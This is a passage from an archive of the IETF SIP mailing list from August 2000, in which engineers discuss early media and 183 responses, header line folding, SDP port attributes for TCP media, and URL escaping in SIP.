> > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a
form
> > > of nested transaction, isn't it ?
> > >
> > > Another solution, probably simplier, would be to enable 183 "both
ways":
> > > The Caller would have the rigth to send it to the Callee, potentially
only
> > > in the presence of Early Media. But that seems weird, because it is a
> > > reponse without a question.
> > >
> > > If you are guessing "why the hell does this matter ?", please think of
> > > potential restrictions if Media cannot change while call is beeing
setted up.
> > >
> > > One example related to mobility (probably not 100% relevant, not a
thread
> > > to SIP for Mobility):
> > > Lets say I have a decomposed cheap wireless IP phone:
> > >         - The expensive UA has a fixed IP address and a full featured
SIP stack
> > > with a fancy Java user application, it handles multiple phones.
> > >         - The cheap phones have no fixed IP addresses, a very ligth
> > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact
with
> > > the UA.
> > > Whenever the phone's IP address changes, the UA will change the Media
of
> > > the involved SIP calls, if any.
> > >
> > > Now the issue: What if the phone moves while receiving Early Media
(say
> > > remote ringback tone) ? UA need to tell the Callee about the Calling
> > > phone's new IP address. How ?
> > >
> > > Other, simplier, issues: How do I put a call on hold when I am
listening to
> > > some network generated annoucement ? How can an assistant, dialing on
> > > behalf of the boss, transfer the ringing call to the boss when
ringback
> > > tone is generated remotely ?
> > >
> > > Any previous art in solving this issue (if it is actually an issue) ?
> > > Is there a similar issue in H.323 (Early H.245 related I guess) or was
it
> > > solved ?
> > >
> > > BTW: A *radical* solution would be to avoid 1xx responses that
initiate
> > > Early Media and have a 200 OK as soon as media is there (with probably
some
> > > hints that the call/session is not "fully" established). Some yet to
define
> > > "INFO Session Progress" could later on indicate how the call is
> > > progressing. This has the merit of beeing compatible with existing
> > > implementations.
> > >
> > > Jean-Hugues Robert
> >
> --------------------------------------------------------------------------
-
> > > "Fix Bugs First"
> > > Sophia General Manager.
> > > mailto:jhr@netergynet.com      - We serve providers -     "Think
globally.
> > > http://www.netergynet.com     - Hosted PBX solutions -        Act
locally."
> > >
> > > _______________________________________________
> > > SIP mailing list
> > > SIP@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/sip
> >
> > --
> > Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> > Chief Scientist                             First Floor
> > dynamicsoft                                 East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
> > http://www.dynamicsoft.com
> >
> > _______________________________________________
> > SIP mailing list
> > SIP@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/sip
>
>
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip
>

_______________________________________________
SIP mailing list
SIP@lists.bell-labs.com
http://lists.bell-labs.com/mailman/listinfo/sip

-- 
Manoj Bhatia                           |        |         |
manojb@cisco.com                       |       :|:       :|:
7025 Kit Creek Road, RTP, NC - 27709   |     :|||||:   :|||||:
Ph: 919-392-3873  IP: 919-991-5714     |  C i s c o S y s t e m s
  --------------97E8939539BD3C9F06ED3201-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 11:36:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA00696 for ; Fri, 18 Aug 2000 11:36:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7C36B443D1; Fri, 18 Aug 2000 11:34:29 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 0E05744339 for ; Fri, 18 Aug 2000 11:34:22 -0400 (EDT) Received: from ESCORT (DYN001-DA02A03-107.arcommunications.net [64.17.132.236]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id LAA08854; Fri, 18 Aug 2000 11:35:51 -0400 (EDT) From: "Steve Donovan" To: "Jonathan Rosenberg" , "Jean-Hugues ROBERT" Cc: Subject: RE: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Date: Fri, 18 Aug 2000 10:33:27 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <399B8269.FBCABDC6@dynamicsoft.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The motivation for introducing the early media concept, and the various solutions were explored in the original 183 draft, which appears to have expired, as it is no longer on the IETF site. However, it can be found at: http://www.softarmor.com/sipwg/drafts/draft-ietf-sip-183-00.txt It is an interworking issue that has billing implications, not a billing issue. I will not go into it here, as it has been documented already. I am certainly willing to explore other methods for solving this interworking issue. However, I would suspect that there are a number of implementations out there that have implemented early media with 183. Please also remember that there were a number of proposals discussed on the list for other creative uses of the early media concept. I have also seen it proposed in this and other threads that the ability to attach SDP to a provisional response should be removed from the bis draft. Doing so would break the QoS and security solutions documented in: http://www.softarmor.com/sipwg/drafts/draft-manyfolks-sip-resource-01.txt I suspect that the same issue raised about early media also applies to the use of SDP in a 18x message for the purpose of setting up QoS and security relationships. It may not be the cleanest solution, but I vote for number 1 and making it a client problem to handle changing of the IP address during session setup. Steve > -----Original Message----- > From: sip-admin@lists.bell-labs.com > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Jonathan Rosenberg > Sent: Thursday, August 17, 2000 1:13 AM > To: Jean-Hugues ROBERT > Cc: sip@lists.bell-labs.com > Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 > ? > > > This is a really good issue. Thanks for bringing it up. > > Seems like there are really just three possibilities: > > 1. punt this problem; you can't change the parameters before the call is > setup > 2. allow reinvites before the 200 OK to change the parameters > 3. don't allow early media - send a 200 OK for this instead > > None of these are ideal. (2) worries me, as it introduces additional > complexity which I fear will have interactions with other things. (3) is > somewhat appealing, allowing us to return to the simpler model SIP > orginally had. However, people claimed this had nasty interactions with > billing systems and PSTN interworking. I wonder if we can't revisit this > and see if those issues could be resolved some other way? > > -Jonathan R. > > Jean-Hugues ROBERT wrote: > > > > Hi, > > > > Short form: In the presence of Early Media, prior to receiving > 200 OK, how > > can a Caller tell a Callee to send media according to a *new* > SDP ? Or "How > > can I put a call on hold when I hear a remotely generated > ringback tone ?" > > > > Much longer form: > > > > It is generaly agreed that making Media and Signaling distinct is a good > > thing. Amoung other benefit it enables decomposed architectures and more > > generaly support the locality of concern principle. > > > > A prime example of this distinction is SDP usage in SIP. SIP is > basically > > concerned by Signaling whereas SDP is about Media. > > > > Signaling is mainly about setting up and tearing down > communications. Media > > is mainly about payload formats and destinations. > > > > It is my understanding that, prior to 183 Session Progress, Media data > > started to flow only after INVITE's 200 OK final response was > received or > > acknowledged (depending on side). > > > > Afterward, changes impacting Media (changes in SDPs) occured at any time > > using re-INVITE. Callee could ask Caller "Please now handle > Media according > > to this new SDP". Caller could do the same. This was fine. > > > > However, since 183 Provisionnal response was introduced, as > well as other > > new occasions to change SDPs during call setup, Media can start to flow > > well before 200 OK, or even in the total absence of 200 OK. > > > > This may introduce an issue regarding control of Media, during > the setup phase: > > Callee can still ask Caller "Please now handle Media > according to this > > *new* SDP", simply sending a new 183. However I fear that > Caller *cannot* > > ask Callee to change Media any more. > > > > To be fully accurate, it seems that Caller could still ask > Callee to change > > Media, if SDP is allowed in PRACK, but only in response to > Callee doing it > > first. Is SDP legal in PRACK's ack message ? > > > > So my question is: "In the presence of Early Media, how can a > Caller ask a > > Callee to handle Media according to a new SDP when Caller's INVITE > > transaction is still not completed ?". > > > > One potential solution could be to allow re-INVITE while the > "main" INVITE > > is still not completed. It is illegal today. This would introduce > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is > already a form > > of nested transaction, isn't it ? > > > > Another solution, probably simplier, would be to enable 183 "both ways": > > The Caller would have the rigth to send it to the Callee, > potentially only > > in the presence of Early Media. But that seems weird, because it is a > > reponse without a question. > > > > If you are guessing "why the hell does this matter ?", please think of > > potential restrictions if Media cannot change while call is > beeing setted up. > > > > One example related to mobility (probably not 100% relevant, > not a thread > > to SIP for Mobility): > > Lets say I have a decomposed cheap wireless IP phone: > > - The expensive UA has a fixed IP address and a full > featured SIP stack > > with a fancy Java user application, it handles multiple phones. > > - The cheap phones have no fixed IP addresses, a very ligth > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to > interact with > > the UA. > > Whenever the phone's IP address changes, the UA will change the Media of > > the involved SIP calls, if any. > > > > Now the issue: What if the phone moves while receiving Early Media (say > > remote ringback tone) ? UA need to tell the Callee about the Calling > > phone's new IP address. How ? > > > > Other, simplier, issues: How do I put a call on hold when I am > listening to > > some network generated annoucement ? How can an assistant, dialing on > > behalf of the boss, transfer the ringing call to the boss when ringback > > tone is generated remotely ? > > > > Any previous art in solving this issue (if it is actually an issue) ? > > Is there a similar issue in H.323 (Early H.245 related I guess) > or was it > > solved ? > > > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > > Early Media and have a 200 OK as soon as media is there (with > probably some > > hints that the call/session is not "fully" established). Some > yet to define > > "INFO Session Progress" could later on indicate how the call is > > progressing. This has the merit of beeing compatible with existing > > implementations. > > > > Jean-Hugues Robert > > > ------------------------------------------------------------------ > --------- > > "Fix Bugs First" > > Sophia General Manager. > > mailto:jhr@netergynet.com - We serve providers - > "Think globally. > > http://www.netergynet.com - Hosted PBX solutions - > Act locally." > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 12:53:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02183 for ; Fri, 18 Aug 2000 12:53:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 731494433A; Fri, 18 Aug 2000 12:53:10 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 2F38E44338 for ; Fri, 18 Aug 2000 12:53:07 -0400 (EDT) Received: from dynamicsoft.com (ip109.honxr1.ras.tele.dk [195.249.119.109]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id MAA09846; Fri, 18 Aug 2000 12:54:47 -0400 (EDT) Message-ID: <399D69CD.651FF749@dynamicsoft.com> Date: Fri, 18 Aug 2000 18:52:29 +0200 From: Anders Kristensen Organization: dynamicsoft X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; I) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg Cc: sip Subject: Re: [SIP] white space and SIP References: <399D4CAC.6A3BAAD@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg wrote: > > Gethin Liddell wrote: > > > > For SIP to be efficient and quick, as i'm sure you'll agree it must be, > > it MUST be possible to parse in a message with out having to parse each > > individual header. > > Absolutely. This is what I was trying (and not at all succeeding in > saying) when I said: > > so that you can detect headers without parsing the headers > > > themselves. > > > > > Ignoring the \CR and \LF, it is possible to get the structure of the > > messages and the headers split up by looking for the combination of > > CR, LF and white space indentation. great, this can be done quickly by > > simple byte-by-byte comparison. > > > > This all goes out the window however when we allow, or expect, that in > > `special cases' a `\' at the end of the line actually marks another > > form of continuation. > > > > for example, parsing the fast, efficient, lazy way, the header: > > > > Waring: 307 foo "some info \ > > some more info" > > > > Will be parsed as 2 headers, with the second header being very wrong > > and breaking everything. > > > > If we want this to be parsed properly, then from the very begining we > > have to parse the header and understand it. > > > > So what if we don't understand it? > > I agree. In my coffee-starved state of mind I apparently believed the > escaping would help, but it doesn't. So, I think we need to specify that > if a CR, LF, or CRLF appears in a quoted string, these MUST be properly > line folded. Having had a look at the granddaddy of SIP syntax, RFC 822, it seems to me that the SIP spec is no more and no less vague on when CR and LF are allowed in quoted strings and what they mean than 822 is. The definitions are pretty much the same as far as I can tell. From rfc822: quoted-string = <"> *(qtext/quoted-pair) <">; Regular qtext or ; quoted chars. quoted-pair = "\" CHAR ; may quote any char CHAR = ; ( 0-177, 0.-127.) So this grammar does allows CR and LF inside quoted strings. The question then is whether they're only alowed as part of folded lines (what we want) or actually as part of the string itself, and the answer is that it's the former... Each header field can be viewed as a single, logical line of ASCII characters, comprising a field-name and a field-body. For convenience, the field-body portion of this conceptual entity can be split into a multiple-line representation; this is called "folding". The general rule is that wherever there may be linear-white-space (NOT simply LWSP-chars), a CRLF immediately followed by AT LEAST one LWSP-char may instead be inserted. Thus, the single line To: "Joe & J. Harvey" , JJV @ BBN can be represented as: [...] To: "Joe & J. Harvey" , JJV @ BBN I don't think this would have been clear from the grammer alone, and so I guess that's why we're having this dicussion. Maybe it's been clarified for email in more recent RFC's. Anyway, given these semantics for email I think it's most reasonable to interpret 2543 the same way. No modifications needed, really. -- Anders Kristensen _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 13:32:08 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03125 for ; Fri, 18 Aug 2000 13:32:07 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DB8FE44359; Fri, 18 Aug 2000 13:31:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from nautilus.shore.net (nautilus.shore.net [207.244.124.104]) by lists.bell-labs.com (Postfix) with ESMTP id 5F03D44338 for ; Fri, 18 Aug 2000 13:31:32 -0400 (EDT) Received: from (hither.rfdsoftware.com) [209.192.222.62] by nautilus.shore.net with esmtp (Exim) id 13PpzP-0003NK-00; Fri, 18 Aug 2000 13:31:31 -0400 Received: from cx991414-a.dialout.net (cx991414-a.crans1.ri.home.com [24.0.249.47]) by hither.rfdsoftware.com (8.9.2/8.9.2) with ESMTP id NAA10718; Fri, 18 Aug 2000 13:24:46 -0400 (EDT) Message-Id: <4.3.2.7.2.20000818133034.00d6b100@webhost.tactical-sw.com> X-Sender: dnyon@webhost.tactical-sw.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 18 Aug 2000 13:32:36 -0400 To: Jonathan Rosenberg From: David Yon Subject: Re: [SIP] SIP, SDP, and TCP-based media transport Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com In-Reply-To: <399D5035.62C6BEBD@dynamicsoft.com> References: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> <4.3.2.7.2.20000817101152.00d6ce70@webhost.tactical-sw.com> <4.3.2.7.2.20000818083432.00d7d1f0@webhost.tactical-sw.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 11:03 AM 8/18/00 -0400, Jonathan Rosenberg wrote: >So long as its not mandatory, I can live with that. So, is the proposal >made previously >regarding indication of source port: > > > In any case, these are two different pieces of information, and as such, > > should be conveyed in separate places. The m line is idea for the listen > > port. In the case of active connections, I would propose this ALWAYS be > > 9. In this case, should a foolish firewall open up a hole to port 9, its > > not a big deal. If active is in use, the a line could contain the source > > port that will be used: > > > > a=direction:active 9384 > >OK? If so, lets declare this done, get an I-D written, and move forward >here. Yes, fine by me. I'll assume since nobody else stepped up to the plate that I've got the token on the I-D. David Yon Chief Technical Officer Dialout.Net, Inc. yon@dialout.net _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 13:38:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03302 for ; Fri, 18 Aug 2000 13:38:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2F97544339; Fri, 18 Aug 2000 13:38:01 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from DF-INET-1.dogfoodinternet.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by lists.bell-labs.com (Postfix) with ESMTP id E948244338 for ; Fri, 18 Aug 2000 13:37:57 -0400 (EDT) Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by DF-INET-1.dogfoodinternet.com with Microsoft SMTPSVC(5.0.2172.1); Fri, 18 Aug 2000 10:37:23 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 18 Aug 2000 10:37:52 -0700 (Pacific Daylight Time) Received: from STAY.platinum.corp.microsoft.com ([172.30.236.91]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2023); Fri, 18 Aug 2000 10:37:19 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0093A.C86F7638" Date: Fri, 18 Aug 2000 10:36:04 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4417.0 Message-ID: <078292D50C98D2118D090008C7E9C6A6017C42F3@STAY.platinum.corp.microsoft.com> Thread-Topic: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Thread-Index: AcAJKgBGwnDJFs7GS2K91b3G9YX/vAADV/jw From: "Vishwa Kumbalimutt" To: X-OriginalArrivalTime: 18 Aug 2000 17:37:19.0020 (UTC) FILETIME=[F509FEC0:01C0093A] Subject: [SIP] HTTP and SIP URLs Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------_=_NextPart_001_01C0093A.C86F7638 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I had a question about using a HTTP URL as one of the parameters in a SIP URL. The parameter of interest is other-param whose syntax is defined as (from 2543bis) other-param =3D pname["=3D" pvalue ] where pvalue =3D param-unreserved | unreserved |escaped where param-unreserved =3D "["|"]"|"/"|":"|+|"$" unreserved =3D alpahnum|mark Let's say we have a HTTP URL http://www.ietf.org/rfc/rfc2396.txt?number=3D2396 Does "?" need to be escaped since it isn't mentioned in either unreserved or param-unreserved. But if it is, "?" is a reserved character in HTTP URLs and this can change the meaning of the URL. OR the other option is to include the complete URL in quotes.=20 What would be the correct syntax for this? thanks vishwa ------_=_NextPart_001_01C0093A.C86F7638 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable HTTP and SIP URLs

I had a question about using a HTTP URL as one of the = parameters in a SIP URL.
The parameter of interest is other-param whose syntax = is defined as (from 2543bis)
other-param =3D pname["=3D" pvalue ]
where pvalue =3D param-unreserved | unreserved = |escaped
where param-unreserved =3D = "["|"]"|"/"|":"|+|"$"
unreserved =3D alpahnum|mark
Let's say we have a HTTP URL http://www.iet= f.org/rfc/rfc2396.txt?number=3D2396
Does "?" need to be escaped since it isn't = mentioned in either unreserved or param-unreserved.
But if it is, "?" is a reserved character = in HTTP URLs and this can change the meaning of the URL.
OR the other option is to include the complete URL in = quotes.
What would be the correct syntax for this?

thanks
vishwa



------_=_NextPart_001_01C0093A.C86F7638-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 13:47:16 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03533 for ; Fri, 18 Aug 2000 13:47:15 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E2C9D4439E; Fri, 18 Aug 2000 13:46:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by lists.bell-labs.com (Postfix) with ESMTP id 1021E44338 for ; Fri, 18 Aug 2000 13:46:29 -0400 (EDT) Received: from [62.7.19.155] (helo=tkw) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 13PqDD-00035W-00; Fri, 18 Aug 2000 18:45:47 +0100 Message-ID: <001c01c0093c$83ecdd00$0200000a@tkw> From: "Pete Cordell" To: "Jonathan Rosenberg" , "Gethin Liddell" Cc: "Bertil Engelholm" , References: <399CFA30.67B6D80B@uab.ericsson.se> <00081814581900.17516@gethin> <399D4DE8.CD027BD@dynamicsoft.com> Subject: Re: [SIP] Simplify SIP Date: Fri, 18 Aug 2000 18:48:04 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Just to add my two pence... I found line folding and the comma separation a bit of a pain when doing our SIP implementation. I feel that if someone does a quick and dirty implementation of SIP, then this is something they may either forget or just leave out. As one of the attractions of SIP is its simplicity (at least the appearance of such!), then I feel such quick and dirty jobs may appear in a number of places. This would lead to interoperability problems. Therefore I think it would be reasonable for the spec to strongly suggest that messages generated by a UA should not use line folding and comma separation. I think such advice would remove a whole bunch of potential interoperability problems between industrial strength implementations and quick jobs you might knock up in Perl or something to give you some neat feature. However, I agree that if you want to be industrial strength then you have no choice but to cope with line-folding and comma separation for ever more. Pete. ============================================= Pete Cordell Tech-Know-Ware pete@tech-know-ware.com +44 1473 635863 ============================================= ----- Original Message ----- From: Jonathan Rosenberg To: Gethin Liddell Cc: Bertil Engelholm ; Sent: 18 August 2000 15:53 Subject: Re: [SIP] Simplify SIP > If I had it over again, I would eliminate line folding, case > insensitivity, and a host of other things. But, when the spec was begun, > it was decided that rather than inventing new syntax, we would borrow > from a clearly successful, highly interoperable, well understood > protocol for which a whole lot of code was available. That meant we > inherited the good along with the bad. > > Because we must be backwards compatible with rfc2543, there is no choice > but to insist implementations handle line folding and other things (in > reality its not so bad once you construct a tokenizer than knows about > line folding. In this way, it is handled once. My old C code for this > was on the order of 50 lines). We could have rfc2543bis insist on > sending in some canonical form, but it won't help parsers which must > anyway handle the various forms. I suppose eventually those could be > phased out, but there is a fair amount of SIP out there already, so I > don't know that non-canonical form would be gone that soon. > > -Jonathan R. > > Gethin Liddell wrote: > > > > i agree. > > > > the sip specification is not easy to implement, for the main reason > > that you have to be able to accept the same information in many > > different ways. > > > > conforming to the canonicial form should not be a hardship for anyone > > and will make everyone's implementations faster thanx to a, probably > > quite noticable, efficiency gain. > > > > On Fri, 18 Aug 2000, Bertil Engelholm wrote: > > > Hello, > > > > > > we would like to start a discussion about the possibility of making > > > SIP more simple than today. We realize that it's a little late to > > > make big changes in the protocol at this stage but the change we ... snip... _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 14:14:18 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA04014 for ; Fri, 18 Aug 2000 14:14:17 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E3E564433A; Fri, 18 Aug 2000 14:14:09 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sd_exchange.nuera.com (igate.nuera.com [204.216.240.98]) by lists.bell-labs.com (Postfix) with ESMTP id 1ADEB44338 for ; Fri, 18 Aug 2000 14:14:06 -0400 (EDT) Received: by sd_exchange.nuera.com with Internet Mail Service (5.5.2650.21) id ; Fri, 18 Aug 2000 11:14:00 -0700 Message-ID: <613A6A6A3F09D3118F5C00508B2C24FE67AB2D@sd_exchange.nuera.com> From: "Bratakos, Maroula" To: "'Pete Cordell'" , Jonathan Rosenberg , Gethin Liddell Cc: Bertil Engelholm , sip@lists.bell-labs.com Subject: RE: [SIP] Simplify SIP Date: Fri, 18 Aug 2000 11:13:56 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I'd like to re-interate what Jonathan said in a previous email on this thread (see below) that there is already a fair amount of SIP out there already so this discussion might be coming too late. The last thing we need are interoperability issues with SIP implementations that are coming out at different times. Maroula Bratakos -----Original Message----- From: Pete Cordell [mailto:pete@tech-know-ware.com] Sent: Friday, August 18, 2000 10:48 AM To: Jonathan Rosenberg; Gethin Liddell Cc: Bertil Engelholm; sip@lists.bell-labs.com Subject: Re: [SIP] Simplify SIP Just to add my two pence... I found line folding and the comma separation a bit of a pain when doing our SIP implementation. I feel that if someone does a quick and dirty implementation of SIP, then this is something they may either forget or just leave out. As one of the attractions of SIP is its simplicity (at least the appearance of such!), then I feel such quick and dirty jobs may appear in a number of places. This would lead to interoperability problems. Therefore I think it would be reasonable for the spec to strongly suggest that messages generated by a UA should not use line folding and comma separation. I think such advice would remove a whole bunch of potential interoperability problems between industrial strength implementations and quick jobs you might knock up in Perl or something to give you some neat feature. However, I agree that if you want to be industrial strength then you have no choice but to cope with line-folding and comma separation for ever more. Pete. ============================================= Pete Cordell Tech-Know-Ware pete@tech-know-ware.com +44 1473 635863 ============================================= ----- Original Message ----- From: Jonathan Rosenberg To: Gethin Liddell Cc: Bertil Engelholm ; Sent: 18 August 2000 15:53 Subject: Re: [SIP] Simplify SIP > If I had it over again, I would eliminate line folding, case > insensitivity, and a host of other things. But, when the spec was begun, > it was decided that rather than inventing new syntax, we would borrow > from a clearly successful, highly interoperable, well understood > protocol for which a whole lot of code was available. That meant we > inherited the good along with the bad. > > Because we must be backwards compatible with rfc2543, there is no choice > but to insist implementations handle line folding and other things (in > reality its not so bad once you construct a tokenizer than knows about > line folding. In this way, it is handled once. My old C code for this > was on the order of 50 lines). We could have rfc2543bis insist on > sending in some canonical form, but it won't help parsers which must > anyway handle the various forms. I suppose eventually those could be > phased out, but there is a fair amount of SIP out there already, so I > don't know that non-canonical form would be gone that soon. > > -Jonathan R. > > Gethin Liddell wrote: > > > > i agree. > > > > the sip specification is not easy to implement, for the main reason > > that you have to be able to accept the same information in many > > different ways. > > > > conforming to the canonicial form should not be a hardship for anyone > > and will make everyone's implementations faster thanx to a, probably > > quite noticable, efficiency gain. > > > > On Fri, 18 Aug 2000, Bertil Engelholm wrote: > > > Hello, > > > > > > we would like to start a discussion about the possibility of making > > > SIP more simple than today. We realize that it's a little late to > > > make big changes in the protocol at this stage but the change we ... snip... _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 18 15:10:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05251 for ; Fri, 18 Aug 2000 15:10:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A6FBA4433A; Fri, 18 Aug 2000 15:10:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by lists.bell-labs.com (Postfix) with ESMTP id 30EDB44338 for ; Fri, 18 Aug 2000 15:10:24 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42257) id 